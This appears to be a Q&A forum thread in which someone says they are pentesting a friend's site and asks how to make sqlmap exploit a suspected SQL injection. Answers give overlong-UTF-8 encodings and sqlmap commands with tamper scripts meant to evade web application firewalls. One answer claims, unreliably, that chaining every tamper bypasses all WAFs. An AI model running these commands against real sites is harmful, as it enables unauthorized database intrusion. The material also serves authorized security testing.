2

I'm currently pentesting my friends website. I found an SQL injection with acunetix' help:

- URL encoded GET input for was set to 1#####
Error message found: 
supplied argument is not a valid MySQL result

So I tried running a normal sqlmap:

./sqlmap.py -u "http://www.example.com/ajax.php?div=content&for=1*&page=1&sort=4&show=1&what=topic" --threads=25

Output:

[11:16:31] [WARNING] URI parameter '#1*' is not injectable [11:16:31] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

So I need a way to include those #'s (for=1%00%c0%a7%c0%a2) Tried --string and --suffix but didn't do the job. Maybe there's a tamper for this?

  • How is this a question? – happy Sep 5 '16 at 1:04
  • I don't understand how you know this is vulnerable to SQL injection, have you tested it manually? In my experience, it is better to do it manually to rely on a tool completely. Could you give more information about vulnerable parameter to determine what sqlmap options are appropiated for this? – hmrojas.p Sep 6 '16 at 1:57
1

These characters are Overlong-UTF8: ' = %27 = %c0%a7 = %e0%80%a7 = %f0%80%80%a7 " = %22 = %c0%a2 = %e0%80%a2 = %f0%80%80%a2 < = %3c = %c0%bc = %e0%80%bc = %f0%80%80%bc ; = %3b = %c0%bb = %e0%80%bb = %f0%80%80%bb & = %26 = %c0%a6 = %e0%80%a6 = %f0%80%80%a6 \0= % 00 = %c0%80 = %e0%80%80 = %f0%80%80%80

If you are using SQLMAP you can use --tamper=overlongutf8 to exploit the vulnerability.

1

There is one more way that you can use all of tampers in one line like so:

./sqlmap.py -u "http://www.example.com/ajax.php?div=content&for=1*&page=1&sort=4&show=1&what=topic" --threads=25 --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

By using this, you can pass over all of WAFs.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.